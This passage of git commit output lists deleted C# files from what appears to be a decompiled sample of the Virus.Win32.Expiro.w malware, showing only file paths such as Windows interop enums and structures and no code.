MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/WSIdentityFaultException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509AudioLogo.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509CertificateTokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509ImageLogo.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509Logo.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509LogoDataType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509LogoType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509LogoTypeExtension.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/X509RecipientIdentity.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/XmlNames.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/NEGOTIATE_MESSAGES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OLECMDEXECOPT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OLECMDF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OLECMDID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OLECMDTEXTF.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/OfflineFolderStatus.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/PIDMSI_STATUS_VALUE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/RESTRICTIONS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/RPC_ADDRESS_CHANGE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/RefreshConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ReplacesCorHdrNumericDefines.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/RequireAppliesToStatus.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/SYSGEOCLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/SYSGEOTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/SYSNLS_FUNCTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/SecureLockIconConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ShellFolderViewOptions.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ShellSpecialFolderConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ShellWindowFindWindowOptions.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/ShellWindowTypeConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/TrustDecision.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/VARENUM.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Virus.Win32.Expiro.w.csproj delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Virus.Win32.Expiro.w.sln delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/WELL_KNOWN_SID_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/WPCSETTING.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/X931_restart_t.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBD.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY00Q6MPBXXZ.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY07$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY08$$CB_W.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AHXZ.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AXXZ.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAE@G.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAF@G.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BB@K.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BC@$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CB@$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBD.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0EE@E.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0O@$$CBD.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCppImplementationDetails_003E/$ArrayType$$$BY0P@$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/ActivationContext.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/AtExitLock.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/DefaultDomain.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/LanguageSupport.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/NativeDll.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/Progress.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/ThisModule.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CCrtImplementationDetails_003E/TriBool.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_003CModule_003E.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ACCESS_MODE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ACL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ACL_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ACTIVATION_CONTEXT_INFO_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_APTTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_AUDIT_EVENT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_BIN_TYPES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CERT_CHAIN_CONTEXT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CHANGER_DEVICE_PROBLEM_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CM_ERROR_CONTROL_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CM_SERVICE_LOAD_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CM_SERVICE_NODE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_COMPUTER_NAME_FORMAT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_CRYPT_OID_INFO.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DETECTION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DEVICE_POWER_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DISK_WRITE_CACHE_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DNS_CHARSET.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DNS_NAME_FORMAT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_Direction.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_DnsSection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ELEMENT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ENLISTMENT_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_EXCEPTION_DISPOSITION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_EXCEPTION_POINTERS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_EXPLICIT_ACCESS_W.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_FINDEX_INFO_LEVELS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_FINDEX_SEARCH_OPS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_GET_FILEEX_INFO_LEVELS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_GPO_LINK.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_GUID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_HEAP_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_HandleType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_IDL_CS_CONVERT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_ITEMIDLIST.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_JOBOBJECTINFOCLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_KERB_LOGON_SUBMIT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_KERB_PROFILE_BUFFER_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_KERB_PROTOCOL_MESSAGE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_KTMOBJECT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_LOGICAL_PROCESSOR_RELATIONSHIP.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_LUID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MANDATORY_LEVEL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MEDIA_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MSV1_0_LOGON_SUBMIT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MSV1_0_PROFILE_BUFFER_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_MULTIPLE_TRUSTEE_OPERATION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_OSVERSIONINFOW.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PARTITION_STYLE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_AUDIT_EVENT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_DOMAIN_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_LSA_SERVER_ROLE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_POLICY_NOTIFICATION_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PROCESSOR_CACHE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PROC_THREAD_ATTRIBUTE_NUM.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PROGRESS_INVOKE_SETTING.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PSC_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PS_RATE_PHASE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_PaddingMode.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RESOURCEMANAGER_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPCCALLBACKS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_ASYNC_EVENT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_HTTP_REDIRECTOR_STAGE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_NOTIFICATION_TYPES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_REQUEST.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_RPC_RESPONSE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SASL_AUTHZID_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SC_ACTION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SC_ENUM_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/_SC_STATUS_TYPE.cs delete mode 100644 